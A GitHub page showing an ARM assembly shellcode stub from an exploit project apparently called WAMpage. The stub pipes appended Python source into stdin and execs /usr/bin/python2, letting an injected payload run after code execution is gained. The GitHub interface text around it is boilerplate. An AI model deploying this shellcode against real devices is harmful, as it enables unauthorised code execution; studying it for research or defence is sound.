Permalink
Cannot retrieve contributors at this time
Name already in use
A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
WAMpage/src/shellcode/python_shellcode_stub.s
Go to fileThis commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
43 lines (33 sloc)
557 Bytes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| .text | |
| .global _start | |
| _start: | |
| adr r0, pipefd | |
| mov r7, #42 @ pipe | |
| swi #0 | |
| ldr r0, pipewrite | |
| adr r1, sourcecode | |
| ldr r2, sourcelen | |
| mov r7, #4 @ write | |
| swi #0 | |
| ldr r0, pipewrite | |
| mov r7, #6 | |
| swi #0 @ close | |
| ldr r0, piperead | |
| mov r1, #0 | |
| mov r7, #63 @ dup2 | |
| swi #0 | |
| adr r0, prog | |
| adr r1, argv | |
| str r0, [r1] | |
| mov r2, #0 | |
| mov r7, #11 @ execve | |
| swi #0 | |
| prog: .asciz "/usr/bin/python2" | |
| .align 4 | |
| argv: .word 0, 0 | |
| pipefd: | |
| piperead: .word 0 | |
| pipewrite: .word 0 | |
| sourcelen: .word SOURCELEN | |
| sourcecode: | |
| @ to be appended |